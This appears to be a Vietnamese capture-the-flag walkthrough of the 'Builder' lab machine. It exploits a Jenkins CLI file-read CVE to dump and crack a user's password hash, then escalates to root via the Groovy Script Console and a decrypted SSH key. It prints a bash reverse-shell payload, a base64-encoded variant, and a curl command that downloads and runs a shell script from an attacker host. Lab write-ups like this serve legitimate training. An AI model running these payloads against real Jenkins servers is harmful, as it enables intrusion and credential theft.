Machine: Builder
dcduc

Machine info

image.png

Get started

Recon

  • Scan các port đang mở

image.png

  • Scan các service đang chạy tương ứng với các port

image.png

  • Dựa vào kết quả scan ta có thể thấy, machine này có 2 port đang mở gồm

    • Port 22: SSH service
    • Port 8080: HTTP service sử dụng Eclipse Jetty 10.0.18 là một Java web server và web app đang chạy trên service này là Jenkins server.
    • Jenkins là một ứng dụng web mã nguồn mở được viết bằng Java, đóng vai trò máy chủ build & test của hệ thống tích hợp liên tục (CI). Jenkins có thể kết hợp được với hầu hết các công cụ khác của hệ thống tích hợp liên tục với nhiều nền tảng khác nhau. Ngoài ra, cộng đồng sử dụng Jenkins rất lớn nên cũng rất dễ trong việc sử dụng và hỗ trợ khi gặp khó khăn.
    • Continuous Integration (CI) là quá trình tích hợp mã nguồn từ nhiều nhà phát triển vào một kho lưu trữ chung hàng ngày. Sau đó, hệ thống tự động xây dựng, kiểm thử và kiểm tra tích hợp. Mục tiêu của CI là giảm thiểu xung đột và lỗi hệ thống đo tích hợp mã nguồn.
  • Truy cập vào trang web ta vào được dashboard của Jenkins ở trạng thái chưa login.

image.png

  • Để ý thấy phiên bản của Jenkins ở dưới góc màn hình. Google thử thì thấy được phiên bản này có 1 CVE về arbitrary file read thông qua Jenkins CLI - giao diện dòng lệnh (CLI) được tích hợp để truy cập Jenkins từ môi trường script hoặc shell.

image.png

CVE-2024-23897

CVE-2024-23897​: Jenkins uses the args4j library to parse command arguments and options on the Jenkins controller when processing CLI commands. This command parser has a feature that replaces an @ character followed by a file path in an argument with the file’s contents (expandAtFiles). This feature is enabled by default and Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable it.

  • Download Jenkins-CLI về để test.

image.png

image.png

  • Tuy nhiên khi đọc file /etc/password chỉ trả về 1 dòng duy nhất. Đọc trên trang chủ thì biết được số dòng đọc được sẽ phụ thuộc vào CLI command.

image.png

  • Viết 1 bash script ngắn để check command trả về output dài nhất
1
2
3
4
java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help 2>&1 | awk '{if(NR%2==1) print $1}' | while read -r cmd; do
lc=$(/bin/sh -c "java -jar jenkins-cli.jar -s http://10.10.11.10:8080 $cmd '@/etc/passwd' 2>&1 &" | wc -l)
printf "%s\t\t%s\n" "$cmd" "$lc" | awk '{$1 = sprintf("%-30s", $1)} 1'
done
  • Vậy ta sẽ dùng command connect-node để khai thác.

image.png

image.png

Follow theo mô tả của bài lab giờ ta cần extract username và password hash của Jenkins user jennifer. → Cần tìm file chứa thông tin native user.

Setup

  • Trước tiên cần pull docker jenkins về chạy để xem structure bên trong server.
1
2
docker pull jenkins/jenkins
docker run --rm jenkins/jenkins
  • Dùng password được generate ở trong log để truy cập vào dashboard.

image.png

  • Để ý thấy password của admin cũng sẽ được lưu ở /var/jenkins_home/secrets/initialAdminPassword, thử đọc file này nhưng kết quả trả về

image.png

  • Tiếp tục setup

image.png

  • Đăng ký một admin user

image.png

  • Setup hoàn tất. Tiếp theo cần đọc về directory structure of the JENKINS_HOME tree trong Jenkins server để tiện vọc vạch.

Enumeration

  • Khả năng cao password hash của user được lưu ở đây

image.png

  • Trước tiên cần tìm được JENKINS_HOME

image.png

  • Trong Jenkins thông tin về native user account sẽ được lưu trong folder có tên trùng với username + chuỗi số ngẫu nhiên. Và file users.xml sẽ chứa thông tin về các users này

image.png

image.png

  • Ngoài ra ở file config.xml trong user folder cũng sẽ chứa hash password của user tương ứng.

image.png

  • Dùng hashcat để kiểm tra thuật toán sử dụng

image.png

Grab username and password hash

  • Tiếp theo test trên server, tìm được user folder name

image.png

  • Dump nội dung trong file /var/jenkins_home/users/jennifer_12108429903186576833/config.xml rồi thử crack password với wordlist rockyou.txt

image.png

  • Vậy ta có được username jennifer và password princess

User flag

  • Đăng nhập với account tìm được ở trên

image.png

  • Khi đã có một valid account thì sau đó ta có nhiều thứ có thể khai thác. Target trước mắt cần RCE để lấy User flag. Dễ nhất thì sẽ sử dụng Groovy Script thông qua Jenkins Tool là Script Console.

image.png

  • Thử reverse shell bằng payload bash -i >& /dev/tcp/10.10.14.29/1337 0>&1 nhưng không thành công. Nên mình thử base64 encode để chuỗi chỉ gồm chữ và số.
1
2
echo -n 'bash -i  >& /dev/tcp/10.10.14.8/9001  0>&1   ' | base64 -w 0
echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOC85MDAxICAwPiYxICAg | base64 -d | bash

image.png

  • Có vẻ nó không nhận pipeline. Thử setup một server chứa file payload reserve shell.
1
"curl -o /tmp/tmp.sh http://10.10.14.29:8888/tmp.sh && bash /tmp/tmp.sh'".execute().text
  • User flag

image.png

Root flag

  • Với root flag, machine có gợi ý sử dụng SSH key để access root. Nên khả năng sẽ tìm SSH key của user root và từ đó có thể đăng nhập vào root user.

image.png

  • Đọc thử file credentials.xml thì thấy được private key của user root đã được mã hoá (có vẻ dùng base64).

image.png

  • Để decrypt key này thì ta cũng có 2 cách, vì đã access được Script Console nên sử dụng Groovy để decrypt luôn.

image.png

image.png

  • Sử dụng key để SSH và ta có root

image.png

  • Root flag

image.png

Other solution

  • Đầu tiên khi đã có valid account access Jenkins server thì ngoài Groovy Script thì cũng còn những cách dưới đây

image.png

  • Ngoài việc đọc secret key ở credential.xml thì ở chức năng update credential thì private key cũng được hidden ở DOM của web page.

image.png

  • Để đọc được SSH key của root cũng có thể sử dụng Pipeline script.

References

[1] What's in the Jenkins Home Directory
[2] Configuring the Jenkins System
[3] Triển khai PoC Validating Jenkins cho lỗ hổng CVE-2024-23897
[4] Jenkins Security
[5] Jenkins CLI
[6] Internal Jenkins Abuses
[7] Jenkins Pipeline for beginners

Powered by Hexo & Theme Keep
Unique Visitor Page View